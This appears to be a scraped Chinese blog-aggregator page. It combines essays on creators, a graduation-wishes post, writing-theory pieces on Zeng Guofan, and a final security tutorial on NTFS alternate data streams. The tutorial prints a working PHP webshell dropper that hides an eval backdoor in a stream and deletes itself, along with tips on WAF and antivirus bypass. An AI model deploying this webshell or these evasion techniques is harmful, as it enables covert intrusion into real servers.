现在回头想，这事多么中二。邀请同行与会、强制签约。如果是现在的我，做不出这类事情了。不过，年少时就是这么轻狂。
3
可是，这个世界会留给那些轻狂的年轻人那么多时间吗？
我不知道。
我只知道，微信那头告知我消息的程老师，有点难过。
而我，同样有点难过。
自从放弃心理学家的身份认同后，改用认知科学家来锚定自我，我已经远离当年那个心理学圈很久。再看到乱七八糟的什么色彩心理学，什么NLP，什么灵修，我知道，就让那批混蛋去骗好了，跟我有什么关系？世界还有那么多好书等着我去读，还有那么多迷人的智慧等着我去探索。
三年前写的那段微博，调侃只做心理学的，反而不如一些将心理学应用在儿童教育、性用品营销中的发展顺利。我的安人心智集团，同样多了一家儿童教育公司。
只是，半梦半醒之间，每位心理系学生依然会记得信度效度、双盲实验、因素分析，那些早已揉入血液中的那些东西。 我真的忘记了吗？
难道，心理学工作者只有善用人性的弱点，才会发家致富吗？难道，非要去融资，非要去创业，这才是创造者唯一的路线吗？
我不相信。
4
想起了另一位同样早逝的英才 Aaron Swartz。
他14岁，创造了RSS规范，影响了我的阅读行为十年；之后又设计了Markdown语言规范，又影响了我的写作行为十年。
2006年1月，他创办的公司 Infogami 与 Reddit 合并。之后，Reddit 被出售，他跟着去旧金山工作，然而，这却是一段不愉快的经历，成了之后导致他自杀的因素之一。
人类之创作，多半是出于创造力、好奇心、新鲜感，以及对个人英雄主义的信奉——我肯定可以做出伟大的作品，当然，还有信仰，或者追求真理或者追求美感。但是，今天的创业者真的需要的是这些吗？
权术、对人性弱点的利用、各类吹牛以及复杂而非简单的社交、所谓的团队精神，当然，还有各类抄袭。这些，日益成为创业者的标签。创业者的焦点转为：我如何利用各类人才与资源做出超级大大利润的事情。 在这样的视野之下，创作者成为可以被牺牲、被忽悠、被洗脑的棋子。
而创作者的标签：创造、好奇、作品、信仰、热情、善变、敏感、孤独、个人英雄主义，不再重要。它们真的适合创业者的品味吗，被创业者真正尊重还是背后嘲笑？是团队中的基石还是壮大之后可有可无的一份子？今天的人们，还有谁知道那些优雅的产品背后的贡献？
各类手工作坊主人与个人英雄，成为庞大的商业集团的广告点缀。
我们真的需要一个上市公司来显示自我成就吗？这应该是我们要用一辈子去追求的东西吗？
5
五年前， Aaron Swartz 自杀时，我写下了上述疑问。五年后，我没有清晰的答案。
只是，我知道，我不得不诚实地聆听自己。昨天下午，我一直在问自己，如果明天即将离世，我希望我的墓志铭如何写？
曾经希望我去世时的墓志铭如是写：思想家；作家；企业家。
不过昨天我不断问自己，
这个世界会留给那些轻狂的年轻人那么多时间吗？
我不知道。我只知道，我不应该贪心。
原本，按照我的行程表，我应该尽快去给旗下各家公司融资、尽快让各家公司去上市、尽快去洽谈一个又一个高管，给安人心智集团引入一位又一位合伙人，剩余不多的时间，留给《认知三部曲》、《文心三部曲》与《大宗师三部曲》九本书。按照这样的行程表，这样一本类似去年《工作谈》的小书，怎么也排不上号。
世事多变，同样，意味着我可以用作品来纪念那些创造者。
那些在时间表上可有可无的事情，就让它彻底消失吧；那些看重的事情就让它成为唯一吧。人类除了商业、利益、金钱、名利，同样还有好奇、热情、敏感、脆弱。
因此，这本完全不在预计之中的《创造者手册》就此开写。它将延续我在2016年写的《工作谈：高阶模型》漫谈风格，在接下来的工作谈第二季中，我将谈谈创造者的那些关键词。那些轻狂、生猛，不愿意与多数人一样的「异类」。 它们是创造者新手手册吗？也许是，因为它的确会谈到成为创造者的那些技能；也许不是，因为它与工作谈第一季不同，问题多于答案，断言多于证据。
6
这个世界会留给那些轻狂的年轻人那么多时间吗？
也许会，也许不会。但这真的重要吗？
每位异类，也许可以像我一样，在离世时的墓志铭上如是写道，
这位轻狂的年轻人，没有辜负他的才华与好运，他的作品曾经让世界不一样。
谨以此悼念你，Lightor。
- 博客 庭说 2017-06-11 00:00:00
4 年大学时光，一晃而过。
有一位大学同学，在毕业相册里留言：舍友临毕业前想看到《庭说》更新！于是，在停说第 99 天之后，庭又开始说了。本文由 13 电网的 47 位同学独家赞助推出，以下是 Ta 们的毕业宣言。
Ta 们的大学多了一份爱
我要感谢我的舍友和我睡了四年……在这里我突破了自己，完成了蜕变……在这里我锻炼到了能力，收获了爱情（床播快乐，床播正能量。请原谅我的断章取义）
my girl，此生有你即圆满（Best Wishes）
Ta 们对爱有不同看法
希望大家最后可以择一城以终老，遇一人以白首（论白头发，我怕过谁？By the way，谁有黑发秘方？ ）
众里寻人，错爱只是为真爱作证。灯火阑珊，何必急于看到那个人？（庭说点歌台：孙燕姿的《天使的指纹》）
Ta 有一个小心愿
但愿以后见面，女同学们还能叫我强哥，男的就。。。别叫我几把强了 （会撩妹，会打球，会抽烟……他是有几把刷子的强哥。By the way，以后见面，别叫我庭姐，叫我庭哥可好？）
Ta 很懒
这个人很懒，什么都没留下（个性签名）
Ta 很臭美
哈哈哈，9614 颜值担当（哈哈哈，我不信。13 朵金花在文末留言区评评理）
Ta 很爱学习
好好学习，天天向上（我这个老学委都不敢这么猖狂）
Ta 们的大学如诗
凡是过去，皆为序章（出自莎士比亚的名言：What's Past is Prologue）
我本荆棘，无限张狂（出自《侠客风云传前传》）
宇内四海长相忆，天涯海角幸逢时（天下谁人不识君，黑白两道叫飞哥）
人生何须悲前途，不过春红化雪泥（大诗人，请收下我的膝盖）
Ta 们的大学是一个比喻
于我，大学四年像列车驶过扬起的灰尘，短暂而迅速，终又尘埃落定。感谢相遇，感恩陪伴（你的大学是列车，我的大学是火车，污污污~）
原来四年是一本太仓促的书，来不及翻就没了，这一别多久还会再见（对呀，大学就是一本不忍卒读的书）
青春是段跌跌撞撞的旅行，拥有后知后觉的美丽（让我想到了苏打绿的歌《无与伦比的美丽》：天上风筝在天上飞，地上人儿在地上追）
Ta 们有道不完的感谢
感谢大家的欢笑和快乐伴我走过每一刻（每一刻，连睡觉都偷着乐）
感谢出现在我生命中的每一个你们（珍爱生命，远离庭姐）
大学四年感谢有你你你……们（快说，这三个你分别是谁？）
Ta 们翻不完的友谊
四年的大学的时光，沉淀下来的是我们浓厚的友谊，以后分离但会牢记着彼此（四年的大学的时光，沉淀下来了的是我们浓厚的脂肪）
愿我们友谊天长地久（都快毕业了，你难道就不想升华一下友谊）
我们从一所很好的大学毕业，那里有良师或益友（善为良师，乐做益友）
Ta 们有数不完的回忆
所有美好都值得珍藏（所以我把你们美好的留言珍藏在庭说里）
用四年换一个心底永久的回忆，我不悔且珍惜（这么多回忆，心底放得下吗？）
老铁们，岁月长河里有你们，很幸运（《小幸运》：我听见雨滴落在青青草地，我听见远方下课钟声响起……）
Ta 们很开心
愿你们一切都好（同意，一妾就好）
大学遇见一群很 6 的你们（那谁最 6 呢？欢迎在留言区讲出 Ta 的辉煌事迹）
开开心心每一天（讲个笑话给你听：今天我失恋了）
四年，遇到了很多人很多事，毕业快乐（日理万机，你的大学不简单）
接下来的日子，希望大家可以开心的过，精彩的活（还要安稳的睡）
Ta 们讨厌离别
分离并不可怕，可怕的是分离后没有你的消息（借我巨款，就不怕没有我的消息，天天还你一块钱）
四年的大学生活一晃而过，离别容易，再聚太难（晃得太快，还把老腰给闪了）
道不尽离愁三千，不过是一声再见，总会再见（看完本文，离愁值涨到四千七）
Ta 们期待重逢
若干年后再见面，我还是我，希望你也还是你（你的意思是：若干年后再见面，我们都是单身狗？）
以后再遇到的时候，我还是能一眼认出 13 电网的你们（认不出，因为大家都发福了）
只待我们下次相见时还能在球场上继续挥洒我们的热血（记得买两瓶矿泉水）
天下无不散的筵席，期待我们下一次的重逢（期待你的成婚）
愿我们的青春不散场（想得美）
如果可以的话，祝我们的青春不腐朽（不可以，我的青春被狗吃了）
四年的相知相伴，如今的各奔东西，但希望我们 47 位同学有朝一日，再见！再聚（残酷的说，47 位是再也聚不齐）
Ta 希望大家找个好工作
亲爱的大家：
其实，很早就想给你们写信，但是又不知如何提笔。我快毕业了，没有工作，没有男朋友，看起来很失败。现在的我也很迷茫，我也不知道该如何给你们建议。
我还记得刚刚带助班时很忐忑，我就和你们一样大，长得也不老成，性格也很孩子气，我怕教坏了你们。不过师兄说，我一个人没有大能力把你们带坏的，不要太高看了自己。是啊，我改变不了你们任何一个，而我自己却获得了我此生最难忘的经历，就多了一点关心多了一点参与，我体会到了付出、团结、成长，拥有了世界所有美妙的事情。
我很内疚越来越少可以参与你们的活动，你们打篮球、弄社团活动，女生节所有一切在朋友圈里看着都很让人心动，也很后悔，大学三年总是觉得自己忙而没能多和你们玩到一起。所以有机会要多珍惜现在的陪伴，你们还有一年或者说只有半年，大四下学期真的可能很多人也会像现在的我一样在奔波、找工作、实习远远得很难见一面。
我知道你们现在所最关心的，实习、工作，毕业越来越近，大家必须要开始为以后打算了，但是也别心急，别浮躁，静下来想一想，自己需要什么，当然，有梦想是幸运，没目标真的是大多数，那就踏实去努力。把自己还能做到的做好就足够了。实习怎么找，找什么样的，我真的不知道要给们什么样的答案，觉得合适就去干吧，觉得干了不亏就去吧，人生好的坏的多多少少去经历才会觉得完整。
上课的问题我也没法回答你们，那些课有多少作用，对每个人来说都不一定，但是，可以问自己几个问题：
- 你可以保证你自己以后用不到这些知识了么；
- 你可以保证以后工作不会受挂了这科影响么；
- 你可以保证你没来上课去干的事情比来上这节课值得么。
如果你觉得你还是应该不来，真的，既然你觉得完全没必要的事情我也不建议干了。我只是个很普通的姑娘，对于我这样的凡夫俗子没有既定的梦想，我只能把我现在能做的每件事做好。我很羡慕那些可以逃课是为了梦想的人，羡慕他们勤恳努力积极向上。考证就像学习，谁也不知道哪天就需要了，虽然大多数可能一辈子也用不到，学校里考证比外面容易，毕竟有个学习的氛围吧。
大家现在都很关心电力局吧，的确，电力局是一个好的出路，每个省的情况都不一样，我所了解的现在是三个省：
- 广东：谣言里关系大于成绩，我也不能说几分真假，广东的大家可以多去问问上一届去考了的师兄师姐；
- 安徽：安徽是电网里比较普遍的一种，市局只要211以上或特招学校，二本去县局和乡镇；
- 河南：河南是非常神奇的地方，主要看分数，分数高的除了郑州市局可以任你挑，河南市局有很多普通学校的。大家多加加什么南网群国网群可以看到很多讯息的。
我也不知道该说什么了，找工作我也没什么经验，我不是一个好榜样，但是我真心希望你们可以踏实、选一条合适的路就大胆走下去。不论做什么，你们都要相信，没什么大不了，3000 包吃住的事还是有的。
以上是我一年以来少得可怜的人生感悟，和你们分享。希望你们可以开心，也可以安排好时间。
by 卢祯（助班师姐）
2016-04-16我们都有光明的前途
好好生活，好好工作（庭说不停说，毕业不失业）
四年大学转眼一过，祝各位前程似锦（要做有前程的司机）
愿再次相会之时，彼此皆闯出各自的一片天（祝大家一飞冲天，闯破苍天）
梦想有日达成，找到心底梦想的世界，终可见（庭说完了，一首 Beyond 的《不再犹豫》送给大家，让我在留言区看到你们摇摆的双手~)
- 博客 阳志平的网志 2017-06-02 08:00:00
此文是在认知写作学四期上课期间的即兴灌水，给各位同学示范如何快写慢改。未来会收录在我的《文心三部曲》系列著作中。著述、讲学、翻译、外加写匠等人工智能写作辅助工具，均是我重续文统的尝试。召集志同道合者，我将其命名为新古文运动：以中国韩愈、桐城派的古典文体为骨干，兼容西方平克等人的古典文风，提倡简单、清晰的写作风格。
我开创的认知写作学师法古典文体。所谓古典文体，西方代表作是 Clear and Simple as the Truth ，此书即将由开智文库出版简体中文版。另一本代表作是认知科学家平克的大作 The Sense of Style ，我正在写中文版推荐序，即将在大陆正式出版。 在中国此类流派则是从诗经到韩愈到桐城派再到曾国藩。
曾国藩推崇桐城派；桐城派推崇韩愈；韩愈则发起古文运动，向《诗经》、《论语》、《左传》与《史记》学习写作。那么，他们有什么主张呢？ 这就是文成而法立，言出而法随。诗经如此。韩愈如此。桐城派亦如此。曾国藩还是如此。
文成法立，与中国文字与声音相互脱节有关。在《诗经》中，先有优美诗歌，才有诗歌句法。文字在前，规则在后。作品在前，赏析在后；自然在前，句法在后。这是中国写作源头一开始就讲究的。到了韩愈则是气盛则言辞皆宜，强调「根之茂者其实遂，膏之沃者其光晔，仁义之人，其言蔼如也」（韩愈《答李翊书》）。到了桐城派，敷衍出义法之说，辩论文与法。
什么叫义法？简而言之，中国文人一向追求文以明道，将写作视之为安身立命之所。命在哪里？易经那里。你可以将《易经》理解为古代版的《黑天鹅》，告诉先民如何应对小概率随机事件，天惶惶，地荒荒，天命在我，帝力于我何有哉；也可以理解为古代版的《灰犀牛》，告诉古人如何应对大概率伤害事件，如困惑中国数千年的洪水。
为了对抗命运，回归写作真意。桐城派领袖人物方苞在八股文盛行时，号召重回经典，向韩愈学习，提出义法之说：义即《易》之所谓言有物也，法即《易》之所谓言有序也。以义为经，而法纬之，然后为成体之文。写作，要言之有物，得有信息点；还得言之有序，组块得清晰，降低人们的认知负荷。 桐城派独得文采之秘。方苞以文章雅正著称。桐城派的集大成者姚鼐认为：
所以为文者八，曰：神、理、气 、味、格、律、声、色。神、理、气、味者，文之精也；格、律、声、色者，文之粗也。然茍舍其粗，则精者亦胡以寓焉？」（《古文辞类纂序》）
为文者八，神、理、气、味是文章的精细活；格、律、声、色是文章的粗活。说完了桐城派。再说一下曾国藩。当年，三十岁出头的曾国藩，刚刚来到北京城厮混。当时的思想界跟今天类似，牛鬼蛇神横行，学派林立。曾国藩陷入思想混乱之中，不知道未来的路走向何方。他时而想成为一名作家，专攻辞章之学；时而想成为一名经世之才，专攻经济。还想成为一名历史学家，专攻考据。那时的历史学家更像是公共知识分子，借考据之名，指桑骂槐，点评世道。当然，他还想成为一名思想家。那时的思想家跟今天也不一样，更多遵循宋明理学，可以区分为道统之传与自得之学。道统之传是儒家正统，自得之学需要提出一套自洽的思想体系，成功逆袭。历史上最著名的自得之学，正是阳明心学。
曾国藩挣扎在四种取向之间：思想家、历史学家、作家、经世之才。用现代的话来说，就是想成为：民科、公共知识分子、作家、大 BOSS。大家想想看，一个年轻人，怎么可能同时 hold 住四个方向？所以，曾国藩非常痛苦。他的学习、生活习惯还不好，抽大烟，乱读书。曾国藩自承，原本庸人，三十开悟。那么，曾国藩是如何开悟的呢？
一切变化来自当时坐镇京城的湖南大儒唐鉴。翻到百年前的曾国藩日记，可以找到历史上的这一重要时刻：
至唐镜海先生处。问检身之要、读书之法。先生言：「当以《朱子全书》为宗。」时余新买此书，问及。因道：「此书最宜熟读（即以为课程，身体力行），不宜视为浏览之书。」 又言：「治经宜专治一经，一经果通，则诸经可旁及。若遽求兼精，则万不能通一经。」 先生自言生平最喜读《易》。 又言：「为学只三门，曰义理、曰考核、曰辞章。考核之事，多求粗而遗精，管窥而蠡测。文章之事，非精于义理者不能至。经济之学，亦在义理之内。」 又问经济宜如何审端致力。答曰：「经济不外看史。古人已然之迹，法戒昭然。历代章，不外乎此。」 又言：「近时河南倭艮峰（仁）前辈用功最笃实。每日自朝至寝，一言一动，坐作饮食，皆有札记。或心有私欲不克，外有不及检者，皆记出。」先生尝教之曰：「不是将此心别借他心来把捉才提醒，便是闲邪存诚。」 又言：「检摄于外，只有’整齐严肃’四字，持守于内，只有主一无适四字。」 又言：「诗文词曲，皆可不必用功，诚能用力于义理之学，彼小技亦非所难。」 又言：「第要戒欺，万不可掩着」 云云，听之昭然若发蒙也。
这段话也许是影响中国百年国运最重要的一段话。正是有了唐鉴的点拨，改变了曾国藩。之后，曾国藩又直接影响到乡邻毛泽东。这段师生对答，就是曾国藩开悟的转折点。当时曾国藩在北京所面临的信仰选择、学派选择，不同取向相互纠缠。然而，湖南大儒唐鉴用一个巧妙至极的框架，将社会上纷纷攘攘的各类思潮予以统一：天下学问，归于义理；义理归于反身戒欺。
三十岁出头的曾国藩接触的一切先进思潮，无不被这句话囊括。曾国藩顿觉昨日之种种，蔽若尘土，幻如朝露，皆虚妄也。 回头看，为什么义理、反身戒欺如此重要？这就是我反复说过的：写作是人类给自己发明的大时间周期的最小行动。人类是基因与模因奴隶的机器人，更喜欢抽大烟，而非坚持日课。唐鉴的反身戒欺，帮助曾国藩成为自己的主人。之后，曾国藩将其细化为修身十二法：一主敬、二静坐、三早起、四读书不二、五议史、六谨言、七养气、八保身、九日知其所亡、十月无忘其所能、十一作字、十二夜不出门。
当年的曾国藩非常激动，写了系列诗歌，来表达自己对往事的后悔，以及对未来的向往。这就是《杂诗九首》。我们先看看第一首。
早岁事铅椠，傲兀追前轨。张网挈陬维，登山追岌。述作窥韩愈，功名邺侯拟。三公渺如稊，万金睨如屣。肠胃郁千奇，不敢矜爪觜。稍待兰蕙滋，烈芬行可喜。岂期挝驽骀？前驱不逾咫。滔滔大江流，年光激若矢。春秋三十一，顽然亦如此。染丝不成章，橘迁化为枳，壮盛百无能，老苍真可耻！樗散吾所甘，多是惭毛里。
春秋三十一，顽然亦如此。三十一岁了，我还是如此，实在太对不起自己了。再看看最后一首。
谁能烹隽燕？我愿燎桑薪；谁能钓巨鳌？我愿理其纶。南涧笔苹藻，可以羞鬼神。大材与小辨，相须会有因。嗟余不足役，岂谓时无人！
虽然我不是大材，天生我材必有用，我亦能成器。他在写给另一位前辈的信件中，如此感谢唐鉴：
国藩以兹内省，早岁所为涉览书册、讲求众艺者，何一非欺人之事，所为高谈古今、嘐嘐自许者，何一非欺人之言！中夜以思，汗下如霤。顷观先生所为楹帖「道在存诚」云云，旨哉其闇然君子之言乎！果乎诚而不欺，则圣学王道又有他哉！镜海先生庶几不欺者也。
道在存诚！曾国藩从此步入正轨。文风承自韩愈与桐城派一派，推崇「为文全在气盛」。又如是说：
奇辞大句，须得瑰玮飞腾之气，驱之以行，凡堆重处皆化为空虚，乃能为大篇，所谓气力有余于文之外也，否则气不能举其体矣。
他对古典文体的继承，最典型的文论莫过于《湖南文征序》一文。试读开篇：
吾友湘潭罗君研生，以所编撰《湖南文征》百九十卷示余，而属为序其端。国藩陋甚，齿又益衰，奚足以语文事？ 窃闻古之文，初无所谓法也。《易》、《书》、《诗》、《仪礼》。《春秋》诸经，其体势声色，曾无一字相袭。即周秦诸子，亦各自成体。持此衡彼，画然若金玉与卉木之不同类，是乌有所谓法者。后人本不能文，强取古人所造而摹拟之，于是有合有离，而法不法名焉。若其不俟摹拟，人心各具自然之文，约有二端：曰理，曰清。二者人人之所固有。就吾所知之理而笔请书而传请世，称吾爱恶悲份之情而缀辞以达之，若剖肺肝而陈简策。斯皆自然之文。性情敦厚者，类能为之。而浅深工拙，则相去十百千万而未始有极。自群经而外，百家著述，率有偏胜。以理胜者，多阐幽造极之语，而其弊或激宕失中；以情胜者，多排恻感人之言，而其弊常非缛而寡实。自东汉至隋，文人秀士，大抵义不孤行，辞多俪语。即议大政，考大礼，亦每缀以排比之句，间以婀娜之声，历唐代而不改。
第二段第一句「窃闻古之文，初无所谓法也」向中国写作最古老的源头「文成法立」致敬。同样，「约有二端：曰理，曰清」，又是致敬桐城派。之后曾国藩又青出于蓝而胜于蓝，立言文章八美：
尝慕古文章之美者，约有八言：阳刚之美曰雄、直、怪、丽，阴柔之美曰茹、远、洁、适。蓄之数年，而余未能发为文章，略得八类之一以副斯志。
句法有阴阳，文章亦有阳刚阴柔，阳刚之美雄直怪丽；阴柔之美曰茹远洁适。曾国藩独得刚毅好强，一生屡败屡战。试看曾国藩论人：
天行健，君子以自强不息。地势坤，君子以厚德载物。颐，君子以慎言语、节饮食。损，君子以惩忿窒欲。益，君子以见善则迁，有过则改。鼎，君子以正位凝命。此六卦《大象》，最切于人。颐以养身养德，鼎以养心养肾，尤为切要。
从此，文品人品高度统一。至此，曾国藩找到了通往心灵自由之路。暨选录古今诗十八家，积攒社会资本，再建湘军，无所依傍，浩然独往。多年后，又有后生小子毛泽东继承气势磅礴文风。这就是中国写作之道。文以明道，写作是洗心养气的学问，关乎自我修炼，文成可安身，可立命，可治学，可经世致用。
在《诗经》那个时代，它是文成而法立，言出而法随；在韩愈那个时代，是气盛则言辞皆宜；在桐城派那个时代，是以义为经，而法纬之，然后为成体之文。在曾国藩那个时代，是自然之文，也是文章八美。在认知写作学这个时代，是修辞以立其感，也是忧来生别离。
- 阳志平
- 2017-06-02
- 博客 Jiajun的编程随想 2017-06-02 08:00:00《自己写个搜索引擎》搜索引擎最核心的地方在于倒排索引，而倒排索引其实并不是一种具体的数据结构，确切的来说是一类。这个实现中使用Golang中的 `map` 来做倒排索引，全部代码如下...
- 博客 Jiajun的编程随想 2017-05-24 08:00:00《HTTP 路由的两种常见设计形式》- 线性型基本上是类似于用一个list保存路由的正则表达式，每次将url拿去匹配然后找到handler...
- 博客 EVILCOS 2017-05-19 10:39:07这是一个在线免费的前端黑工具，目前主要包含 3 大模块： 1. Encode/Decode 加解密模块，包含： […]
- 博客 Randy's Blog 2017-05-12 08:00:001998
- 博客 Jiajun的编程随想 2017-05-12 08:00:00《Golang的short variable declaration》Go中，常规声明方式为```golang...
- 博客 Jiajun的编程随想 2017-04-26 08:00:00《Greenlet和Stackless Python》粗略看了一下实现，和Golang的实现基本属于相同的原理，即在堆里模拟栈，一个真正的线程栈同时配套n个模拟栈，每次真正在运行的只有一个。但是和Golang的相比，还是差远了，例如Golang有Work Stealing，多线程所以拥有多个线程栈栈（Python也有但是。。。）...
- 博客 Jiajun的编程随想 2017-04-25 08:00:00《写一个简单的ORM》最近在研究SQLAlchemy源码，自己造个轮子先（当然，SQLAlchemy远比这里复杂）```python...
- 博客 Randy's Blog 2017-04-20 08:00:002002
- 博客 Jiajun的编程随想 2017-04-19 08:00:00《从源码看Python的descriptor》descriptor是Python初学者比较不好懂的概念之一，再加上官网文档说的也不是很清楚，就更容易让人误解了。但是源码总不会说不清楚，所以我们从源码看清楚descriptor到底在干啥...
- 博客 Jiajun的编程随想 2017-04-16 08:00:00《Python字符串格式化》说来惭愧，用Python这么久了，还没有系统的看过字符串格式化的文档，因为常用的也就那么几个。这篇文章就总结一下Python的字符串格式化...
- 博客 Jiajun的编程随想 2017-04-08 08:00:00《Gunicorn 简明教程》Gunicorn是Python下的一个WSGI服务器，听起来很普通，不过因为它支持很多特性，在Python界还是很流行，例如作为起Flask的父进程，支持用gevent把Flask打个patch等...
- 博客 阳志平的网志 2017-03-29 08:00:00
本文为写给开智部落三期成员的欢迎辞
很高兴与各位同学在春日相逢。今天惊觉，去年十月组建的开智部落已逾千人。蛮有趣，一个想法，半年后演化成今天这样。有幸与大家一起见证了开智部落从零到一。App，WebApp，卡片，直播，im 等根基日渐稳固。我相信，1000+ 创造者聚集在一起，在认知科学与前沿技术加持下，将使得未来开智派系发出更强声音。
说说我的取向，道学文三合一。在道统上，我并不认同杜维明等儒家老路子，骨子底里不信佛来不信道，推崇帝力于我何有哉。多年前，梁启超在北大讲授《传习录》时，开篇语谈「道学与科学」之分，科学尚博，道学则一言半句，可以毕生受用不尽。我要构建的新道学，它不同于阳明心学或宋明理学，而是以认知科学、心灵哲学、本土心理学、行动科学这样能够与现代科学话语体系对接的新学科为根基。
在学统上，借助历次演讲，我厘清了人类的高阶知识体系——模型、故事、行动三者而已。如果以 100-1000-10000 年为尺度，你该如何掌握改变世界的核心力量？孔子喜欢文行忠信四科与礼乐射御书数六艺；柏拉图推崇辩论、修辞与文法智者三艺，以及算术、几何、天文与音乐贵族四科。在今天，我倡导五大元学科。
在文统上，三年四期认知写作学的讲学，数千学员教学相长，终于明白了，我要掀起二十一世纪的新古文运动，重返古典文体。所谓古典文体，西方代表作是 Clear and Simple as the Truth ，此书即将由开智文库出版简体中文版。另一本代表作是：the sense of style ，平克大作，我正在写简体中文版推荐序。
在中国类似流派则是从韩愈到桐城派再到曾国藩。在《诗经》那个时代，它是文成而法立，言出而法随；在韩愈那个时代，是气盛则言辞皆宜；在桐城派那个时代，是以义为经，而法纬之，然后为成体之文。在曾国藩那个时代，是自然之文，也是文章八美。
牛鬼横行时，我本楚狂人。不信公知远离世事。人生本已寂寞，难以述说，然既然下山来，便应如履薄冰，秉承初心。我之心智学派，始于丙申；文行忠信，义利相济。重返中国文化源头与世界巅峰智慧源头。阅读经典，修身养性，日有寸进。孔门三千，贤人七十二，文行忠信，十大弟子。今有后生小辈，不自量力，聚集志同道合者，谈诗论文，创造产品，好奇探索世界。
- 道统：安身立命的学问，或称信仰；
- 学统：经世济国的学问，或称知识；
- 文统：洗心养气的学问，或称修炼。
我之道统是修己以安人；学统是五大元学科；文统是古典文体。《认知三部曲》、《文心三部曲》与《大宗师三部曲》，先叙学统；再述文统；后建道统。至此，立言可以矣。
春服既成，风乎舞雩，期待各位同学在开智部落，日有寸进。
- 阳志平
- 2017-03-29
备注：周六，终于与出版社正式签署图书出版合同，接下来，《认知三部曲》、《文心三部曲》与《大宗师三部曲》，学、文、道九本将陆续出版。十年藏剑，今日乃示君。
- 博客 Jiajun的编程随想 2017-03-29 08:00:00《Raft 论文阅读笔记》Raft是用来保证集群数据一致性的协议或者说算法。特点：- Strong leader...
- 博客 Vulkey_Chen's Blog 2017-03-29 00:00:00
What is NTFS文件流
NTFS文件系统实现了多文件流特性，NTFS环境一个文件默认使用的是未命名的文件流，同时可创建其他命名的文件流，windows资源管理器默认不显示出文件的命名文件流，这些命名的文件流在功能上和默认使用的未命名文件流一致，甚至可以用来启动程序。
NTFS文件流生成步骤
我们在任意一个NTFS分区下打开CMD命令提示符，输入
echo mstlab>>mst.txt:test.txt，则在当前目录下会生成一个名为mst.txt的文件，但文件的大小为0字节，打开后也无任何内容。
只有输入命令：notepad mst.txt:test.txt 才能看见写入的mstlab
在上边的命令中，mst.txt可以不存在，也可以是某个已存的文件，文件格式无所谓，无论是.txt还是.jpg|.exe|.asp都行b.txt也可以任意指定文件名以及后缀名。（可以将任意文本信息隐藏于任意文件中，只要不泄露冒号后的虚拟文件名(即test.txt)，别人是根本不会查看到隐藏信息的）
包含隐藏信息的文件仍然可以继续隐藏其它的内容，对比上例，我们仍然可以使用命令
echo mstlab1>>mst.txt:test1.txt给mst.txt建立新的隐藏信息的流文件，使用命令notepad mst.txt:test1.txt打开后会发现mstlab1这段信息，而mstlab仍然存在于mst.txt:test.txt中丝毫不受影响
所以这里的宿主mst.txt成功的被test.txt和test1.txt所寄生，而在这里的微妙关系显而易见，宿主消失寄生消失。
NTFS特性和原理分析
特性1
实验工具下载：https://github.com/wangyongxina/filestreams/blob/master/Release/Release.7z
工具使用说明：
create 创建文件流
enum 列举文件流
delete 删除文件流
write 写入内容到文件流
append 增加文件到文件流
launch 执行文件流的内容
dump 读取文件流的内容
我们让上一步骤归零，重新来看看mst.txt：
而这里的default文件流就验证了最开头的一句话，默认使用的是为命名的文件流。
实验开始，首先我们使用FileStreams.exe创建一个文件流vkey：
FileStreams.exe create mst.txt vkey然后写入内容到文件流vkey：
FileStreams.exe write mst.txt vkey content
再来查看文件流vkey的内容：
FileStreams.exe dump mst.txt vkey 14这里的14从何而来，相信聪明的你们能明白。（文件流vkey大小 14）
最开始也说了，文件流是可以用来启动程序的，我们来试试：
-
加入文件到文件流vkey：
FileStreams.exe append mst.txt vkey C:\Users\gh0stkey\Desktop\test\FileStreams.exe
-
查看文件流vkey的内容，这里就看前100个字节的内容：
FileStreams.exe dump mst.txt vkey 100
-
执行文件流vkey：
顺利的执行了
C:\Users\gh0stkey\Desktop\test\FileStreams.exe这个文件。
特性2
自动创建空文件：
自动创建宿主，然后寄生。
在没有原文件的情况下创建文件流，会自动创建一个空文件。
原理分析：
好，现在我们以及初步了解了文件流的特性。再来看看NTFS文件流实现原理：
如文件大小，文件创建时间，文件修改时间，文件名，文件内容等被组织成属性来存放，NTFS定义了一序列的文件属性：
详细说明可以搜索NTFS3G，这些属性统一组织在NTFS的MFT（Master File Table）上，每个MFT大小1024个字节，MFT的$DATA属性即是前面提到的文件流，通常来说包含多个不同名字的$DATA属性即说明该文件存在多个文件流，下图是winhex打开1.txt定位到1.txt的MFT，我们实际看一下NTFS是如何组织的：
Pentesting With NTFS
Webshell后门隐藏
写一个PHP的Webshell，首先网站的默认首页是index.php，所以使用了第一段代码：
exec('echo "<?php @eval($_POST[key]);?>">>index.php:key.php');直接写一个一句话内容到key.php这个文件流中。 其次，文件流是不可能直接执行的，但是PHP可以使用包含函数：
$key = <<<key echo "<?php include 'index.php:key.php';?>">>a.php key; exec($key);最后，为了不被发现要删除本身文件：
$url = $_SERVER['PHP_SELF']; $filename= substr($url,strrpos($url,'/')+1); @unlink($filename);最终代码：
<?php exec('echo "<?php @eval($_POST[key]);?>">>index.php:key.php'); $key = <<<key echo "<?php include 'index.php:key.php';?>">>a.php key; exec($key); $url = $_SERVER['PHP_SELF']; $filename= substr($url,strrpos($url,'/')+1); @unlink($filename); ?>
软件后门隐藏
使用特性1写一段代码后台自动运行这个文件流即可。
ByPass WAF
文件上传
在文件上传的时候可以直接ByPass Waf规则，但是较为鸡肋需要搭配文件包含漏洞：
Bypas 查杀
利用下面的默认流替换特性上传文件名为1.php:的文件，绕过后缀名限制即可。
当然你也可以做一个持续性webshell后门，然后使用include包含起来即可利用：
默认流替换
默认流也就是宿主自身的，这里完全可以吞噬宿主，成为宿主。
这个方法算是打破常规的认识了，很有意思。
如图，我们直接执行
echo xxxx>>1.txt:，可替换默认流:
当然如果宿主不存在，将会创建宿主并且吞噬宿主，从而成为宿主。
NTFS局限性
这个NTFS数据流文件，也叫Alternate data streams，简称ADS，是NTFS文件系统的一个特性之一，允许单独的数据流文件存在，同时也允许一个文件附着多个数据流，即除了主文件流之外还允许许多非主文件流寄生在主文件流之中，它使用资源派生的方式来维持与文件相关信息，并且这些寄生的数据流文件我们使用资源管理器是看不到的。
2、为什么NTFS有数据流这个特性？ 原意是为了和Macintosh的HFS文件系统兼容而设计的，使用这种技术可以在一个文件资源里写入相关数据(并不是写入文件中)，而且写进去的数据可以使用很简单的方法把它提取出来作为一个独立文件读取，甚至执行。
